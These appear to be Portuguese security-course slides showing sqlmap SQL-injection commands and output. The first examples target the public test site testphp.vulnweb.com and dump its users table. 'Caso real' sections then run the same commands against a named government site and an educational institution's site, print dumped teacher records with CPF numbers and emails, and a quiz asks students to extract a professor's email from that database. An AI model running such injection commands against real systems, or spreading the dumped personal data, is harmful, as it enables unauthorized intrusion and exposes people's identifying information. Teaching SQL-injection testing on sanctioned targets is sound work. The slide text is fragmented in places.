sqlmap - exemplo1/sqlmap.py --url "http://testphp.

vulnweb.com/listproducts.php?cat=1" -b

---

[09:55:38] [INFO] the back-end DBMS is MySQL[09:55:38] [INFO] fetching banner

web application technology: Nginx, PHP 5.3.10back-end DBMS operating system: Linux Ubuntuback-end DBMS: MySQL 5.0banner: '5.1.69-0ubuntu0.10.04.1'

./sqlmap.py --url "http://testphp.

vulnweb.com/listproducts.php?cat=1" --

current-db

--

[09:58:40] [INFO] fetching current databasecurrent database: 'acuart'

sqlmap - exemplo1/sqlmap.py --url "http://testphp.

vulnweb.com/listproducts.php?cat=1" -b

---

[09:55:38] [INFO] the back-end DBMS is MySQL[09:55:38] [INFO] fetching banner

web application technology: Nginx, PHP 5.3.10back-end DBMS operating system: Linux Ubuntuback-end DBMS: MySQL 5.0banner: '5.1.69-0ubuntu0.10.04.1'

./sqlmap.py --url "http://testphp.

vulnweb.com/listproducts.php?cat=1" --

current-db

--

[09:58:40] [INFO] fetching current databasecurrent database: 'acuart'

-b: banner do DBMS

–current-db: Mostra o banco de dados atual.

sqlmap - exemplo1./sqlmap.py --url "http://testphp.vulnweb.

com/listproducts.php?cat=1" --dbs

--

[10:00:44] [INFO] fetching database names

available databases [2]:

[*] acuart

[*] information_schema

./sqlmap.py --url "http://testphp.vulnweb.

com/listproducts.php?cat=1" -D acuart --tables

--

[10:04:59] [INFO] fetching tables for database:

'acuart'

Database: acuart

[8 tables]

+-----------+| artists | | carts | | categ |

| featured | | guestbook | | pictures | | products ||

users | +-----------+

–dbs: Lista os bancos de dados do DBMS–url: Url do alvo.-D:banco de dados alvo.–tables:lista as tabelas.-D o sqlmap iria listar todas as tabelas de todos os bancos de dados..

sqlmap - exemplo1./sqlmap.py --url "http://testphp.vulnweb.

com/listproducts.php?cat=1" -D acuart -T users

--columns

--

Database: acuart

Table: users

[8 columns]

+---------+--------------+

| Column | Type |

+---------+--------------+

| address | mediumtext |

| cart | varchar(100) |

| cc | varchar(100) |

| email | varchar(100) |

| name | varchar(100) |

| pass | varchar(100) |

| phone | varchar(100) |

| uname | varchar(100) |

+---------+--------------+

–url:URL Alvo.-D:Banco de dados alvo.-T:Tabela alvo.–columns:Listar colunas.

sqlmap - exemplo1./sqlmap.py --url "http://testphp.vulnweb.

com/listproducts.php?cat=1" -D acuart -T users

-C 'uname,pass' --dump

Database: acuart

Table: users

[1 entry]

+------+-------+

| pass | uname |

+------+-------+

| test | test |

+------+-------+

–url: URL alvo.-D:Banco de dados alvo.-T:Tabela do Alvo.-C: Colunas do alvo–dump: Extrair informações.

sqlmap - exemplo1./sqlmap.py --url "http://testphp.

vulnweb.com/listproducts.php?cat=1" -D

acuart --tables --dump-all

Extrair tudo de todas as tabelas.

sqlmap - exemplo2

sqlmap - exemplo2

sqlmap - exemplo2

sqlmap - exemplo2

sqlmap - Caso real 1 (Governo)

python sqlmap.py --url http://www.casaruibarbosa.gov.br/interna.php?ID_S=387 --current-db

python sqlmap.py --url http://www.casaruibarbosa.gov.br/interna.php?ID_S=387 current-db -D site_fcrb --tables

python sqlmap.py --url http://www.casaruibarbosa.gov.br/interna.php?ID_S=387 -T tb_usuarios --columns

python sqlmap.py --url http://www.casaruibarbosa.gov.br/interna.php?ID_S=387 -T tb_usuarios -C 'nm_login, id_login' --dump

sqlmap - Caso real 2 (Inst. de Ensino)

python sqlmap.py --url http://www.fasul.edu.br/caaf/evento_exibe.php?id=381 --current-db

python sqlmap.py --url http://www.fasul.edu.br/caaf/evento_exibe.php?id=381 -D portal --tables

python sqlmap.py --url http://www.fasul.edu.br/caaf/evento_exibe.php?id=381 -T ce_docente --columns

sqlmap - Caso real 2 (Inst. de Ensino)

web server operating system: Linux CentOS 6.3web application technology: PHP 5.3.3, Apache 2.2.15back-end DBMS: MySQL 5.0.11current database: 'portal'[115 tables]+-------------------------------------+| auth_certificado_usuario_assinatura || auth_operacao || auth_permissao || auth_permissao_operacao || auth_projeto || auth_usuario || auth_usuario_permissao || caaf_artigo || caaf_artigo_categoria || caaf_artigo_subcategoria |

Database: portal Table: ce_docente[6 columns]+----------+--------------+| Column | Type |+----------+--------------+| cpf | varchar(15) || created | datetime || email | varchar(80) || id | int(11) || modified | datetime || nome | varchar(100) |+----------+--------------+

sqlmap - Caso real 2 (Inst. de Ensino)

Table: tcc_docentes[732 entries]+------------+----------------+--------------------------------------------------+--------------------------------------------------+---------------------+---------------------+------------+| id | cpf | nome | email | created | modified | titulacao |+------------+----------------+--------------------------------------------------+--------------------------------------------------+---------------------+---------------------+------------+| 107 | 546.546.546-54 | L A P | po*l@fasul.edu.br | 2010-12-16 11:44:18 | 2010-12-16 11:44:18 | Grad. || 1000003153 | 041.061.639-77 | J** R** L** | j.l@fasul.edu.br | 2011-01-04 03:40:04 | 2013-11-04 03:40:01 | Ms. || 1000003176 | 00*.8*6.3*9-3* | U* R* C* | u.c@fasul.edu.br | 2012-09-20 15:23

Engenharia SocialNo-Tech Hacking

Kevin Mitnick● Definindo Engenharia Social

Confiança● Medo● Reciprocidade● Amizade● Respeito● Dever moral● Ganância● Ignorância

Baseada em humanos

Baseada em computadores

PERGUNTAS

1. Qual email do Prof Jéfer cadastrado na base de dados da Fasul?

2. Qual o SO e o SGBD do site governamental http://www.casaruibarbosa.gov.br/? e o da FAG?

3. Cite 5 normas da ISO 27002 que foram atendidas até o momento, citando o que foi implementado para atendê-la.

4. Como é possível, apenas com a ferramenta PING descobrir o possível SO de uma máquina remota?

5. Qual a importância da hora sempre correta para o sistema de LOGs?

Questões de Múltipla escolha1) Uma boa definição para Hardening é:Escolher uma resposta.a. Petrificar o sistema.b. A mesma coisa que um Firewall.c. Trancar o servidor em uma sala cofre.d. Melhor o Hardware do servidor.e. Ajuste fino no sistema.

2) Com procedimentos de Hardening, podemos deixar o sistema 100% seguro. Essa afirmacão é falsaou verdadeira?

3) Por que é recomendado que o /home fique em uma partição separada?Escolher uma resposta.a. Para quando precisar reinstalar o sistema, não perca as informações que estão no /home.b. Para um usuário ter o seu próprio diretório pessoal.c. Porque é obrigatório o /home ficar em uma partição separada.d. Porque o /home precisa ser uma partição primária.e. Com o /home separado, o sistema fica mais rápido.

4) Antes da norma ISO/IEC 27002:2005 se chamar por esse nome, como ela era conhecida?Escolher uma resposta.a. ISO/IEC 27002:2004b. ISO/IEC 17799:2005c. ISO/IEC 27001:2005d. ISO/IEC 12345:2005e. ISO/IEC BS7799

5) A impossibilidade de se prever as necessidades de espaço para cada partição é uma desvantagemquando falamos de particionamento de disco. Essa afirmação é verdadeira ou falsa?Resposta:Verdadeiro Falso

Desafio:http://www.hackertest.net

Jogos:Hacker Evolution Uplink

Jéfer Benedett Dörr

Até a próxima!

13/12/2013

3.1-OSSTMM – Open Source Security Testing Methodology Manual.

3.2-Anatomia de um Ataque,

3.3-Engenharia Social,

3.4-Footprint,

3.5-Footprint emSMTP,

3.6-Fingerprint,

3.7-Levantamento de Dados Através de Port Scanners,

3.8-Técnicas de Varreduras,

3.9-Técnicas Furtivas,

14/12/2013

4.1-Captura de Informações com Sniffers,4.2-Conceitos Básicos de Backdoors,

4.3-Enumeração de Serviços e Informações,

4.4 - Bruteforce,4.5 - Negação de Serviço,

4.6 - Exploits,

4.7 - Google Hacking,

4.8 - Ferramentas,

4.9 - Contramedidas.

Referências e Links

http://www.pentest-standard.org/index.php/Main_Page

http://backtracktutorials.com/backtrack-basics/scanning/

http://www.faqs.org/docs/securing/

ISO 73:2009 - Gerenciamento de Risco

ISO 27001

ISO 27002

Livros

Recommended